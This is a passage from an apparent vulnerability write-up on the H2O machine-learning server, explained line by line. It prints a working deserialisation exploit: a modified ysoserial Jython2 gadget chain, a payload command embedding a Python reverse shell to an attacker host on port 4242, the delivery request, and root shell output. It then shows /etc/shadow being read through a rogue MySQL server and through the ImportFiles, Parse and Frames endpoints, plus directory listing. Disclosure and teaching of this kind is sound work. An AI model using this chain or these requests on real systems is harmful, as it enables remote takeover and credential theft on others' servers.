ServletUtils.logRequest("POST", request, response);
}
}
private void handleMatrixRequest(String model_key, RequestType type, HttpServletRequest request) throws IOException, ClassNotFoundException {
Object requestData = new ObjectInputStream(request.getInputStream()).readObject();
switch (type) {
case sparseMatrixDimensions:
RemoteMatrixLoader.initSparse(model_key, (SparseMatrixDimensions)
requestData);
break;
case sparseMatrixChunk:
RemoteMatrixLoader.sparseChunk(model_key, (XGBoostUploadMatrixTask.SparseMatrixChunk) requestData);
break;
case denseMatrixDimensions:
RemoteMatrixLoader.initDense(model_key, (XGBoostUploadMatrixTask.DenseMatrixDimensions) requestData);
break;
case denseMatrixChunk:
RemoteMatrixLoader.denseChunk(model_key, (XGBoostUploadMatrixTask.DenseMatrixChunk) requestData);
break;
case matrixData:
RemoteMatrixLoader.matrixData(model_key, (XGBoostUploadMatrixTask.MatrixData) requestData);
break;
default:
throw new IllegalArgumentException("Unexpected request type: " + type);
}
}
[...]
}
Line by line, in plain words:
public class RemoteXGBoostUploadServlet extends HttpServletdeclares a class that handles web requests.extends HttpServletmeans it plugs into Java's standard web server machinery.public enum RequestType { ... }defines a fixed list of allowed values:checkpoint,sparseMatrixDimensions,sparseMatrixChunk,denseMatrixDimensions,denseMatrixChunk,matrixData. An enum is a list of named constants, like the options on a menu.doPostis the method that runs for every POST request to this endpoint.request.getParameter("model_key")andrequest.getParameter("data_type")pull two values out of the request. These come from the user, so the attacker controls them.RequestType.valueOf(data_type)turns the text into one of the enum values. If the text is not in the list, this throws an error.if (type == RequestType.checkpoint)is the only branch that does something safe: it saves the uploaded bytes into a file.else { handleMatrixRequest(...) }is the branch that matters. Any other valid value lands here.- Inside
handleMatrixRequest,new ObjectInputStream(request.getInputStream()).readObject()is the dangerous line.ObjectInputStreamis Java's tool for turning a stream of bytes back into live objects.readObject()does the rebuilding. The bytes come straight from the request body, so the attacker decides what gets rebuilt. - The
switch (type)then casts the rebuilt object to one of several expected classes. A cast is telling the program "treat this object as this type". Crucially, the cast happens afterreadObject()has already run, so it does not protect anything: the damage is done during deserialisation, before the cast is even reached.
The data_type value can be supplied as a URL parameter, so the attacker controls which branch runs. Any valid RequestType other than checkpoint reaches new ObjectInputStream(request.getInputStream()).readObject(), which instantiates whatever class the body describes.
Other occurrences of readObject exist in the source. One is javaSerializeReadPojo in AutoBuffer, on which readData of XGBoostExecReqV3 relies:
public class XGBoostExecReqV3 extends Schema<Iced, XGBoostExecReqV3> {
public XGBoostExecReqV3(Key key, XGBoostExecReq req) {
this.key = KeyV3.make(key);
this.data = Base64.encodeBase64String(AutoBuffer.javaSerializeWritePojo(req));
}
public XGBoostExecReqV3() {}
@API(help="Identifier")
public KeyV3 key;
@API(help="Arbitrary request data stored as Base64 encoded binary")
public String data;
@SuppressWarnings("unchecked")
public <T> T readData() {
return (T) AutoBuffer.javaSerializeReadPojo(Base64.decodeBase64(data));
}
}
public final class AutoBuffer implements AutoCloseable {
[...]
public static Object javaSerializeReadPojo(byte [] bytes) {
try {
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object o = ois.readObject();
return o;
} catch (IOException e) {
String className = nameOfClass(bytes);
throw Log.throwErr(new RuntimeException("Failed to deserialize " + className, e));
} catch (ClassNotFoundException e) {
throw Log.throwErr(e);
}
}
Again in plain words:
XGBoostExecReqV3is a class that carries a request around. It has two fields:key(an identifier) anddata(a string).- The constructor
XGBoostExecReqV3(Key key, XGBoostExecReq req)takes a request object, serializes it withAutoBuffer.javaSerializeWritePojo(req), and stores the result as a Base64 string. Base64 is a way of writing binary bytes using only ordinary text characters, so they can travel inside text fields like JSON. readData()does the reverse: it decodes the Base64 text back into bytes and hands them toAutoBuffer.javaSerializeReadPojo.- In
javaSerializeReadPojo,new ObjectInputStream(new ByteArrayInputStream(bytes))wraps those bytes in the same dangerous tool as before, andois.readObject()rebuilds whatever object the bytes describe. - The
catchblocks only handle errors after the fact. They do not check the data before deserializing it.
The point of showing this second example is that the first endpoint is not a one-off. The same pattern appears in a helper used elsewhere in the application, so the problem is systemic.
Exploitation
Step 1: choosing a gadget chain
A gadget chain is a sequence of existing classes in an application that, when deserialised together in the right order, end up doing something the original developers never intended, such as running a command. Think of it as a Rube Goldberg machine built from parts that are already lying around in the code. The attacker does not inject new code; they arrange existing parts so that the machine fires.
The targeted Java application was not affected by the gadget chains currently implemented in ysoserial, the well-known tool that ships a library of such chains. Reading through H2O's source code and its dependencies quickly identifies the Jython library 2.7.1b3, included in the jython-cfunc extension, which is included by default in the main Gradle project. Jython is a version of the Python language that runs inside Java. A dependency is another library that a project pulls in to work; Gradle is the build tool that assembles them. Gadget chains for Jython exist and were published in ysoserial's repository pull requests:
- https://github.com/frohoff/ysoserial/pull/135 by ykoster
- https://github.com/frohoff/ysoserial/pull/153 by JackOfMostTrades, the gadgetinspector's author
A pull request is a proposed change to a code repository, here adding new chains to ysoserial. The second pull request was used, with its Jython2 gadget chain. It executes arbitrary Python code, pre-compiled as Python bytecode, upon deserialisation. Bytecode is the low-level instruction format that a language like Python or Java is compiled into before it runs. Because the library is not really used by default in H2O, it is not properly initialised, and the gadget chain fails once Jython tries to import the os builtin library. In other words, the machine was assembled correctly but one of its parts was not plugged in.
Step 2: adapting the chain
The gadget was slightly modified: the Python bytecode was replaced by a shorter function that calls the Python exec statement and directly calls Java's Runtime.exec. Runtime.exec is Java's built-in way to start an operating system command.
$ python2
>>> def func():
... cmd = 'id'
... exec('import java.lang.Runtime; java.lang.Runtime.getRuntime().exec(cmd)')
...
>>> func.__code__.co_code.encode('hex')
'[redacted]'
What each line does:
$ python2starts the Python 2 interpreter, an interactive prompt where you type code and it runs immediately.def func():defines a small function namedfunc.cmd = 'id'stores the textidin a variable.idis a standard Linux command that prints who you are running as.exec('import java.lang.Runtime; java.lang.Runtime.getRuntime().exec(cmd)')is the payload. It imports Java'sRuntimeclass and callsexec(cmd), which runs the command stored incmd.func.__code__.co_codereaches into the compiled function and grabs its raw bytecode, the actual instructions the Python engine will run..encode('hex')turns those bytes into a hexadecimal string, a text representation of the bytes that is easy to paste into Java code. The result is[redacted].
That bytecode was then placed in the Jython2 gadget chain:
package ysoserial.payloads;
import org.python.core.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Map;
/*
Slightly modified from https://github.com/frohoff/ysoserial/pull/153/files#[redacted]
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map.entrySet()
[Implemented as a proxy class with PyMethod InvocationHandler]
PyMethod.__call__()
PyMethod.__call__(state)
PyMethod.__call__(state, arg0)
BuiltinFunctions.__call__(state, arg0, arg1)
__builtin__.eval(arg1, arg2, arg3)
Py.runCode(code, locals, globals);
Requires:
org.python:jython
Versions since 2.7.0 are vulnerable.
Versions up to 2.7.2b2 are known to be vulnerable.
*/
@SuppressWarnings({"unchecked"})
@Dependencies({"org.python:jython:2.7.1b3"})
@Authors({Authors.JACKOFMOSTTRADES})
public class Jython2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
/*
2 0 LOAD_CONST 1 (<command>)
3 STORE_FAST 0 (cmd)
3 6 LOAD_CONST 2 ('import java.lang.Runtime; java.lang.Runtime.getRuntime().exec(cmd)')
9 LOAD_CONST 0 (None)
12 DUP_TOP
13 EXEC_STMT
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
*/
String pcode = "[redacted]";
// Helping consts and names
PyObject[] consts = new PyObject[]{
Py.None,
Py.newString(command),
Py.newString("import java.lang.Runtime;java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', cmd])")
};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(0, 1, 3, 66, "", consts, new String[]{""}, new String[]{"cmd"}, "<string>", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(pcode, 16).toByteArray());
Constructor<?> cons = Class.forName("org.python.core.BuiltinFunctions").getConstructor(String.class, int.class, int.class);
cons.setAccessible(true);
PyObject payloadclass = (PyObject) cons.newInstance("", 18, 3);
PyMethod wrapperOne = new PyMethod(payloadclass, codeobj, null);
PyMethod wrapperTwo = new PyMethod(wrapperOne, new PyStringMap(), null);
Map<String, Object> proxyMap = (Map<String, Object>) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Map.class}, wrapperTwo);
return Gadgets.createMemoizedInvocationHandler(proxyMap);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython2.class, args);
}
}
This is dense, so let us walk through it:
- The
importlines bring in Jython's own classes (org.python.core.*) and ysoserial's helpers.ProxyandConstructorare Java's standard reflection tools, which let code inspect and create classes at runtime. - The big comment block spells out the chain:
ObjectInputStream.readObject()triggersAnnotationInvocationHandler.readObject(), which callsMap.entrySet(), which is implemented as a proxy whose handler is aPyMethod, and so on down toPy.runCode. Reading it top to bottom is like reading the dominoes in the order they fall. @Dependencies({"org.python:jython:2.7.1b3"})records which library version the chain needs.@Authorscredits the original author.public class Jython2 extends PayloadRunner implements ObjectPayload<Object>declares the payload class.implements ObjectPayloadmeans it follows ysoserial's convention for payloads.getObject(String command)is the method that builds the malicious object. Thecommandargument is what will be run on the target.- The second comment block shows the bytecode instructions in human-readable form: load the command, store it in
cmd, load theexecstring, run it, return. String pcode = "[redacted]";is the hex bytecode produced in the Python step.PyObject[] consts = ...builds the constant pool, the list of fixed values the bytecode refers to. It containsPy.None, the attacker'scommand, and the Javaexecstring.PyBytecode codeobj = new PyBytecode(...)creates a Python code object with the right shape (one local variable namedcmd, and so on).Reflections.setFieldValue(codeobj, "co_code", ...)overwrites the code object's raw bytecode with the attacker's hex, converted from hex to bytes withnew BigInteger(pcode, 16).toByteArray().Class.forName("org.python.core.BuiltinFunctions")...looks up a Jython class by name and grabs a constructor.setAccessible(true)bypasses Java's normal access checks, which is a common trick in gadget chains.new PyMethod(...)twice wraps the code object in layers that Jython will call during deserialisation.Proxy.newProxyInstance(...)creates a fakeMapwhose method calls are redirected towrapperTwo. A proxy is a stand-in object that forwards calls to something else.Gadgets.createMemoizedInvocationHandler(proxyMap)wraps the whole thing in the outer object that Java will deserialise first.mainis just a convenience entry point so the payload can be run from the command line.
The chain reaches Py.runCode through a proxy Map whose invocation handler is a PyMethod, so the deserialisation of the object graph ends up evaluating the embedded bytecode.
Step 3: generating the payload
The following command generates a serialised chain that executes a Python reverse shell and saves it to payload.bin. A reverse shell is a connection the victim machine makes back to the attacker, giving the attacker a command prompt on the victim. It is called "reverse" because the victim connects out, which often slips past firewalls that block incoming connections.
$ java -jar ysoserial-modified-all.jar Jython2 "python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"[redacted]\",4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > payload.bin
Breaking it down:
java -jar ysoserial-modified-all.jarruns the modified ysoserial tool.Jython2selects the gadget chain we just adapted.- The long quoted string is the command that will run on the target. Inside it,
python -c '...'runs a short Python program. s=socket.socket(...)creates a network socket, a two-way connection endpoint.s.connect(("[redacted]",4242))connects back to the attacker's machine on port 4242.os.dup2(s.fileno(),0),1and2redirect the program's standard input, output and error to that socket, so the attacker's terminal is wired to the victim's shell.p=subprocess.call(["/bin/sh","-i"])starts an interactive shell.> payload.binsaves the generated bytes to a file calledpayload.bin.
Step 4: delivering it to the vulnerable endpoint
The payload is sent to the upload endpoint with data_type=matrixData, which satisfies the requirement of a valid RequestType different from checkpoint:
$ http --body -vvv POST 'http://[redacted]:54321/3/XGBoostExecutor.upload? model_key=test&data_type=matrixData' < ./payload.bin
What this does:
httpis HTTPie, the command-line HTTP client.--bodyasks it to print the response body.-vvvmakes it very verbose, showing the full request and response, which is useful when you are debugging a payload.POSTis the HTTP method used to send data to a server.- The URL points at the vulnerable endpoint, with
model_key=testanddata_type=matrixDataas parameters.matrixDatais one of the enum values other thancheckpoint, so the code takes the dangerous branch. < ./payload.binfeeds the file's contents as the request body, which is exactly the serialised object the server will deserialise.
A reverse shell arrives on the listener set at [redacted]:4242 beforehand:
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17. 0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root 92 0.0 0.0 4508 708 pts/0 S 11:38 0:00 /bin/sh -i
root 190 0.0 0.0 34428 2788 pts/0 R+ 12:12 0:00 ps aux
Reading the output:
nc -lvvkp 4242starts netcat listening (-l) on port 4242, very verbose (-vv), keeping the connection open (-k).Connection received on [redacted] 33132means the victim machine connected back. The reverse shell worked.# idis the attacker typing theidcommand into the shell. The outputuid=0(root) gid=0(root) groups=0(root)shows the command runs as root, the highest privilege level on Linux.# ps auxlists running processes. It shows/opt/h2o.jarrunning as root, and the attacker'spython -c ...and/bin/sh -iprocesses alongside it.
The id output shows the command runs as root, and the ps aux output shows the H2O process also running as root.
Step 5: arbitrary file read through the MySQL connector
H2O provides an importSQLTable routine that lets users retrieve data from a remote database. A database is a program that stores and answers questions about structured data; MySQL is one popular brand of database. When a MySQL connector is used alongside the application, it is possible to read arbitrary files on the system running H2O. This relies on MySQL's LOAD DATA LOCAL statement, which a MySQL server can use to request that a client provide the content of a file. For the server to be able to do so, the allowLoadLocalInfile connection property of the URI specified by the client must be set to true. In the context of importSqlTable, the server running H2O acts as a client to the server specified by the user in the Connection URL. In other words, H2O is told "go fetch data from this database", and the attacker points it at a database they control.
A rogue MySQL server can be set up quickly with bettercap:
$ sudo bettercap -iface docker0
[...]
[redacted]/16 > [redacted] » set mysql.server.infile /etc/shadow
[redacted]/16 > [redacted] » mysql.server on
[redacted]/16 > [redacted] » [18:27:37] [sys.log] [inf] mysql.server server starting on address [redacted]:3306
Line by line:
sudo bettercap -iface docker0starts bettercap with administrator rights, listening on thedocker0network interface (the Docker bridge).set mysql.server.infile /etc/shadowtells bettercap's fake MySQL server which file to hand out when a client asks./etc/shadowis the Linux file that stores password hashes for user accounts, so it is a high-value target.mysql.server onstarts the fake server.- The log line confirms it is listening on
[redacted]:3306, the standard MySQL port.
The following Connection URL is then used in H2O's importSqlTables feature:
jdbc:mysql://[redacted]:3306/test? &useSSL=false&allowLoadLocalInfile=true.
This is a JDBC URL, the standard way Java programs are told how to reach a database. jdbc:mysql:// says "use the MySQL driver". [redacted]:3306/test is the attacker's server and database name. useSSL=false turns off encryption, which is not needed here. allowLoadLocalInfile=true is the crucial part: it tells the client it is allowed to send local files to the server when asked.
Figure 1 shows the interface where the user-controlled server is specified and allowLoadLocalInfile is set to true in the connection URL.
Clicking the Import button sends the following request:
POST /99/ImportSQLTable HTTP/1.1
Host: [redacted]:54321
[...]
connection_url=jdbc%3Amysql%3A%2F%2F172.17.0.1%3A3306%2Ftest%3F%26useSSL%3Dfalse
%26allowLoadLocalInfile%3Dtrue&table=&username=&password=&fetch_mode=DISTRIBUTED
This is a raw HTTP request. POST /99/ImportSQLTable is the endpoint being called. Host: [redacted]:54321 says which server. The body is form data: connection_url is the JDBC URL, URL-encoded so that characters like : and / can travel safely (for example %3A is a colon). table, username and password are left empty, and fetch_mode=DISTRIBUTED tells H2O to fetch the data in a distributed way.
Meanwhile, the rogue MySQL server receives the content of the selected file:
[redacted]/16 > [redacted] » [09:10:15] [sys.log] [inf] mysql.server server starting on address [redacted]:3306
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server connection from [redacted]
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server login request username:
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server can use LOAD DATA LOCAL: 1
[redacted]/16 > [redacted] » [09:10:20] [sys.log] [inf] mysql.server root:*:18641:0:99999:7:::
daemon:*:18641:0:99999:7:::
bin:*:18641:0:99999:7:::
sys:*:18641:0:99999:7:::
sync:*:18641:0:99999:7:::
games:*:18641:0:99999:7:::
man:*:18641:0:99999:7:::
lp:*:18641:0:99999:7:::
mail:*:18641:0:99999:7:::
news:*:18641:0:99999:7:::
uucp:*:18641:0:99999:7:::
proxy:*:18641:0:99999:7:::
www-data:*:18641:0:99999:7:::
backup:*:18641:0:99999:7:::
list:*:18641:0:99999:7:::
irc:*:18641:0:99999:7:::
gnats:*:18641:0:99999:7:::
nobody:*:18641:0:99999:7:::
systemd-timesync:*:18641:0:99999:7:::
systemd-network:*:18641:0:99999:7:::
systemd-resolve:*:18641:0:99999:7:::
systemd-bus-proxy:*:18641:0:99999:7:::
_apt:*:18641:0:99999:7:::
messagebus:*:18792:0:99999:7:::
What the log shows:
- The fake server starts on
[redacted]:3306. - A connection arrives from
[redacted], the H2O machine. - A login request is received, with an empty username.
can use LOAD DATA LOCAL: 1confirms the client agreed to the local-file feature.- The lines that follow are the contents of
/etc/shadow, sent by H2O to the attacker's server. Each line is one user account, with a*where the password hash would be.
Adding an allowUrlInLocalInfile URL parameter set to true would also let the same feature be exploited as a Server-Side Request Forgery. Server-Side Request Forgery (SSRF) is when an attacker makes the server send a request to a destination of the attacker's choosing, which can reach internal systems the attacker cannot reach directly.
Step 6: arbitrary file read through ImportFiles
The application offers an ImportFiles routine which, by design, allows reading files on the underlying filesystem. No restriction is applied on which parts of the filesystem are accessible through it, so any user of the application can read any file the user running the application has access to. This is a bit like a photocopier in an office that will copy any document in the building, not just the ones in the tray you were given.
The user first selects the file to import (Figure 2). Under the hood this corresponds to the following request. The response defines a frame for the selected file, which allows processing it further. A frame is H2O's internal name for a table of data loaded into memory.
GET /3/ImportFiles?path=%2Fetc%2Fshadow HTTP/1.1
Host: [redacted]:54321
[...]
HTTP/1.1 200 OK
Connection: close
Content-Length: 233
X-h2o-build-project-version: [redacted]
[...]
{"__meta": {"schema_version":3,"schema_name":"ImportFilesV3","schema_type":"ImportFiles"},"_exclude_fi
elds":"","path":"/etc/shadow","pattern":null,"files":["/etc/shadow"],"destination_frames":
["nfs://etc/shadow"],"fails":[],"dels":[]}
Reading it:
GET /3/ImportFiles?path=%2Fetc%2Fshadowasks H2O to import a file.%2Fis the URL encoding of/, so the path is/etc/shadow.Host: [redacted]:54321is the H2O server.HTTP/1.1 200 OKmeans the request succeeded.X-h2o-build-project-version: [redacted]is a header revealing the exact H2O version, which is useful to an attacker checking whether the target is vulnerable.- The JSON body confirms the file was found:
"files":["/etc/shadow"], and gives it adestination_framesname,nfs://etc/shadow, which will be used in later steps.
The user then indicates how the file should be parsed. Data from the chosen file is already accessible at this point (Figure 3). This corresponds to the following request and response:
POST /3/ParseSetup HTTP/1.1
Host: [redacted]:54321
[...]
source_frames=%5B%22nfs%3A%2F%2Fetc%2Fshadow
%22%5D&parse_type=CSV&separator=7&single_quotes=false&check_header=-1&column_types=%5B
%22String%22%5D
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 1051
[...]
{"__meta": {"schema_version":3,"schema_name":"ParseSetupV3","schema_type":"ParseSetup"},"_exclude_fiel
ds":"","source_frames":[{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"nfs://
etc/shadow","type":"Key<Frame>","URL":"/3/Frames/nfs://etc/
shadow"}],"parse_type":"CSV","separator":7,"single_quotes":false,"check_header":1,"column_names":null,"skipped_columns":null,"column_types":
["String"],"na_strings":null,"column_name_filter":null,"column_offset":0,"column_count":0,"
destination_frame":"shadow.hex","header_lines":0,"number_columns":1,"data":
[["root:*:18641:0:99999:7:::"],["daemon:*:18641:0:99999:7:::"],
["bin:*:18641:0:99999:7:::"],["sys:*:18641:0:99999:7:::"],["sync:*:18641:0:99999:7:::"],
["games:*:18641:0:99999:7:::"],["man:*:18641:0:99999:7:::"],["lp:*:18641:0:99999:7:::"],
["mail:*:18641:0:99999:7:::"],
["news:*:18641:0:99999:7:::"]],"warnings":null,"chunk_size":4194304,"total_filtered_column_
count":1,"custom_non_data_line_markers":null,"decrypt_tool":null,"partition_by":null,"escap
echar":0}
What this step does:
POST /3/ParseSetupasks H2O to work out how to read the file.source_frames=%5B%22nfs%3A%2F%2Fetc%2Fshadow%22%5Dis the URL-encoded form of["nfs://etc/shadow"], the frame name from the previous step.parse_type=CSVsays treat it as comma-separated values.separator=7is a control character.column_types=["String"]says treat the data as text.- The response includes
"destination_frame":"shadow.hex", the name to use for the parsed result, and crucially adatafield that already contains the first lines of/etc/shadow. The file contents are already leaking at this stage.
As in the previous step, the frame to use for further handling is provided in the destination_frame field of the response. The next step actually parses the file. When the user clicks Parse, the following request is sent:
POST /3/Parse HTTP/1.1
Host: [redacted]:54321
[...]
destination_frame=shadow.hex&source_frames=%5B%22nfs%3A%2F%2Fetc%2Fshadow
%22%5D&parse_type=CSV&separator=7&number_columns=1&single_quotes=false&column_names=&column
_types=%5B%22String%22%5D&check_header=-1&delete_on_done=true&chunk_size=4194304
This tells H2O to actually read the file into a frame named shadow.hex, using the settings agreed in the previous step. delete_on_done=true asks H2O to clean up afterwards.
The response is as follows:
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 1532
[...]
{"__meta": {"schema_version":3,"schema_name":"ParseV3","schema_type":"Iced"},"_exclude_fields":"","des
tination_frame":{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow1.
hex","type":"Key<Frame>","URL":"/3/Frames/shadow.hex"},"source_frames":[{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"nfs://
etc/shadow","type":"Key<Frame>","URL":"/3/Frames/nfs://etc/
shadow"}],"parse_type":"CSV","separator":7,"single_quotes":false,"check_header":1,"number_columns":1,"column_names":null,"column_types":
["String"],"skipped_columns":null,"domains":null,"na_strings":null,"chunk_size":4194304,"de
lete_on_done":true,"blocking":false,"decrypt_tool":null,"custom_non_data_line_markers":null
,"partition_by":null,"job":{"__meta": {"schema_version":3,"schema_name":"JobV3","schema_type":"Job"},"key":{"__meta":
{"schema_version":3,"schema_name":"JobKeyV3","schema_type":"Key<Job>"},"name":"$0301ac11000
332d4ffffffff$[redacted]","type":"Key<Job>","URL":"/3/Jobs/
$0301ac11000332d4ffffffff$[redacted]"},"description":"Parse","status
":"RUNNING","progress":0.0,"progress_msg":"Ingesting files.","start_time":1623853648947,"msec":1,"dest":{"__meta":
{"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow.h
ex","type":"Key<Frame>","URL":"/3/Frames/
shadow.hex"},"warnings":null,"exception":null,"stacktrace":null,"auto_recoverable":false,"r
eady_for_view":true},"rows":0,"escapechar":0}
Among other things, this response contains the URL of the job that will handle the parsing, and another URL at which the parsed data will be accessible once the job is completed. A job here is a background task H2O runs; the response gives its identifier so you can check on it.
The parsed data can then be displayed (Figure 4). It corresponds to the string_data field of the response to the following request:
GET /3/Frames/shadow.hex HTTP/1.1
Host: [redacted]:54321
[...]
HTTP/1.1 200 OK
Connection: close
X-h2o-build-project-version: [redacted]
Content-Length: 4623
[...]
{"__meta": {"schema_version":3,"schema_name":"FramesV3","schema_type":"Frames"},"_exclude_fields":"","
row_offset":0,"row_count":-1,"column_offset":0,"full_column_count":-1,"column_count":1,"compression":null,"separator":44,"header":true,"quote_header":true,"job":null,"frames":
[{"__meta": {"schema_version":3,"schema_name":"FrameV3","schema_type":"Frame"},"_exclude_fields":"","fr
ame_id":{"__meta": {"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"shadow.h
ex","type":"Key<Frame>","URL":"/3/Frames/
shadow.hex"},"byte_size":853,"is_text":false,"row_offset":0,"row_count":24,"column_offset":
0,"column_count":1,"full_column_count":1,"total_column_count":1,"checksum":3148031620661992,"rows":24,"num_columns":1,"default_percentiles":
[0.001,0.01,0.1,0.2,0.25,0.3,0.3333333333333333,0.4,0.5,0.6,0.6666666666666666,0.7,0.75,0.8
,0.9,0.99,0.999],"columns":[{"__meta":
{"schema_version":3,"schema_name":"ColV3","schema_type":"Vec"},"label":"C1","missing_count"
:0,"zero_count":0,"positive_infinity_count":0,"negative_infinity_count":0,"mins":
["NaN","NaN","NaN","NaN","NaN"],"maxs":
["NaN","NaN","NaN","NaN","NaN"],"mean":"NaN","sigma":"NaN","type":"string","domain":null,"d
omain_cardinality":0,"data":null,"string_data":
["root:*:18641:0:99999:7:::","daemon:*:18641:0:99999:7:::","bin:*:18641:0:99999:7:::","sys:
*:18641:0:99999:7:::","sync:*:18641:0:99999:7:::","games:*:18641:0:99999:7:::","man:*:18641
:0:99999:7:::","lp:*:18641:0:99999:7:::","mail:*:18641:0:99999:7:::","news:*:18641:0:99999:
7:::","uucp:*:18641:0:99999:7:::","proxy:*:18641:0:99999:7:::","wwwdata:*:18641:0:99999:7:::","backup:*:18641:0:99999:7:::","list:*:18641:0:99999:7:::","irc:*
:18641:0:99999:7:::","gnats:*:18641:0:99999:7:::","nobody:*:18641:0:99999:7:::","systemdtimesync:*:18641:0:99999:7:::","systemd-network:*:18641:0:99999:7:::","systemdresolve:*:18641:0:99999:7:::","systemd-busproxy:*:18641:0:99999:7:::","_apt:*:18641:0:99999:7:::","messagebus:*:18792:0:99999:7:::"],
"precision":1,"histogram_bins":null,"histogram_base":0.0,"histogram_stride":0.0,"percentiles":null}],"c
ompatible_models":null,"chunk_summary":{"__meta":
{"schema_version":3,"schema_name":"TwoDimTableV3","schema_type":"TwoDimTable"},"name":"Chun
k compression summary","description":"","columns":[{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"chunk_type","type":"string"
,"format":"%8s","description":"Chunk Type"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"chunk_name","type":"string"
,"format":"%s","description":"Chunk Name"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"count","type":"int","format
":"%10d","description":"Count"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"count_percentage","type":"f
loat","format":"%10.3f %%","description":"Count Percentage"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size","type":"string","form
at":"%10s","description":"Size"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size_percentage","type":"fl
oat","format":"%10.3f %%","description":"Size Percentage"}],"rowcount":1,"data":[["CStr"],
["Strings"],[1],[100.0],[" 853 B"],[100.0]]},"distribution_summary":{"__meta":
{"schema_version":3,"schema_name":"TwoDimTableV3","schema_type":"TwoDimTable"},"name":"Fram
e distribution summary","description":"","columns":[{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"","type":"string","format":
"%s","description":""},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"size","type":"string","form
at":"%s","description":"Size"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_rows","type":"flo
at","format":"%f","description":"Number of Rows"},{"__meta":{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_chunks_per_column
","type":"float","format":"%f","description":"Number of Chunks per Column"},{"__meta":
{"schema_version":1,"schema_name":"ColumnSpecsBase","schema_type":"Iced"},"name":"number_of_chunks","type":"f
loat","format":"%f","description":"Number of Chunks"}],"rowcount":6,"data":
[["[redacted]:54321","mean","min","max","stddev","total"],[" 853 B"," 853 B"," 853 B"," 853 B"," 0 B"," 853 B"],[24,24.0,24.0,24.0,0.0,24],
[1,1.0,1.0,1.0,0.0,1],[1,1.0,1.0,1.0,0.0,1]]}}],"compatible_models":null,"domain":null}
This is a large JSON document describing the frame. The part that matters is "string_data", which holds the actual lines of the file. The rest is metadata: column types, statistics, chunk summaries and so on.
Or, in a more readable way:
$ curl -ks http://[redacted]:54321/3/Frames/shadow.hex | jq \
-r '.frames[0].columns[0].string_data[]'
root:*:18641:0:99999:7:::
daemon:*:18641:0:99999:7:::
bin:*:18641:0:99999:7:::
sys:*:18641:0:99999:7:::
sync:*:18641:0:99999:7:::
games:*:18641:0:99999:7:::
man:*:18641:0:99999:7:::
lp:*:18641:0:99999:7:::
mail:*:18641:0:99999:7:::
news:*:18641:0:99999:7:::
uucp:*:18641:0:99999:7:::
proxy:*:18641:0:99999:7:::
www-data:*:18641:0:99999:7:::
backup:*:18641:0:99999:7:::
list:*:18641:0:99999:7:::
irc:*:18641:0:99999:7:::
gnats:*:18641:0:99999:7:::
nobody:*:18641:0:99999:7:::
systemd-timesync:*:18641:0:99999:7:::
systemd-network:*:18641:0:99999:7:::
systemd-resolve:*:18641:0:99999:7:::
systemd-bus-proxy:*:18641:0:99999:7:::
_apt:*:18641:0:99999:7:::
messagebus:*:18792:0:99999:7:::
Here curl -ks fetches the URL (-k skips certificate checks, -s silences progress output), and jq -r '.frames[0].columns[0].string_data[]' picks the string_data array out of the JSON and prints each entry on its own line. The result is the contents of /etc/shadow, one account per line.
Because of the Typeahead field that allows searching through files, it is also possible to list the files present under any path, still with the permissions of the user running the application. A Typeahead field is the search box that suggests results as you type.
$ curl 'http://[redacted]:54321/3/Typeahead/files?src=%2Fetc%2F&limit=10000' | jq \
-r '.matches[]'
/etc/xdg
/etc/os-release
/etc/ld.so.conf.d
/etc/bindresvport.blacklist
/etc/securetty
/etc/default
/etc/subuid
